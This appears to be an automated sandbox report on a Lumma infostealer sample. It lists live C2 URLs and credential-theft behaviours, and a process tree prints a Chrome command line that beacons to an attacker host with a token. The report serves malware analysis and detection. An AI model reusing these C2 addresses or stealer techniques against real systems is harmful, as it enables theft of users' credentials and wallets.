Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 16:50

General

  • Target
    tmpdtejj1mb.exe
  • Size 1.8MB
  • Sample260601-vb8vfsax5z
  • SHA256 66c53eff1bdeab8089fe6a9be7dade42c2234b93679c57d19cae627b6b37374c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lumma

C2
  • https://fourdigs.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    2d4e298beb7693e422d73a60865136850e1b4192b3

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpdtejj1mb.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpdtejj1mb.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Settled.a3x
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" fourdigs.cyou/api/set_agent?id=5EB97C63BD24956701AEC7B30ADF174C&token=2d4e298beb7693e422d73a60865136850e1b4192b3&description=&agent=Chrome
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcb9d9c728,0x7ffcb9d9c734,0x7ffcb9d9c740
          4⤵
            PID:1316
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1692,i,1968311638093135121,6325421955686224368,262144 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1972 /prefetch:2
            4⤵
              PID:2636
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1588,i,10555978800316713028,11404452783345769347,524288 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2228 /prefetch:3
              4⤵
              • System Time Discovery
              PID:4944
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,6150714700053145351,16230098264974269669,524288 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2396 /prefetch:8
              4⤵
                PID:2596
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,5572049539722739125,4800723678887317544,2097152 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
                4⤵
                  PID:5116
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,12571100997506893462,2794359677167250546,2097152 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3228 /prefetch:1
                  4⤵
                    PID:4396
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4232,i,1752870827884399997,11974787072522311364,2097152 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4244 /prefetch:2
                    4⤵
                      PID:4812
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5240,i,1929791561095944397,18427440495411920244,524288 --field-trial-handle=1976,i,10607992083838062946,14142909069761684155,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5156 /prefetch:8
                      4⤵
                        PID:1372
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:1972
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:1104

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 649B
                          • SHA256 368fdb77b28528de8ce9c7d74f9ca60be5a4fc6dbb5cb5b0410d109375e9fb00
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 4e080644c82626bc2b8588bee4d73c5820c9b9f4a85ddb8f61cd2d263b69ecbc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 7341a5e3c03a69685cf3001feb25f7c4ddfd42e046d47ec4b5b73be9c03f2506
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          AutoIt3.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
                          • Size 957KB
                          • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Settled.a3x

                          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Settled.a3x
                          • Size 754KB
                          • SHA256 c769307bd5788637fc9efb785eca962ac24a798f559805c743e90b6e2eb9fe8a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/4724-78-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-71-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-66-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-65-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-64-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-63-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-62-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-60-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-70-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-73-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-81-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-80-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-79-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-61-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-77-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-76-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-75-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-74-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-72-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-67-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-69-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-68-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-84-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-89-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-88-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-87-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-86-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-85-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-83-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-82-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-14-0x0000000005370000-0x00000000053CF000-memory.dmp

                          memory/4724-13-0x0000000001570000-0x0000000001571000-memory.dmp

                          memory/4724-98-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-100-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-99-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-102-0x0000000005C70000-0x0000000005C71000-memory.dmp

                          memory/4724-101-0x0000000005C70000-0x0000000005C71000-memory.dmp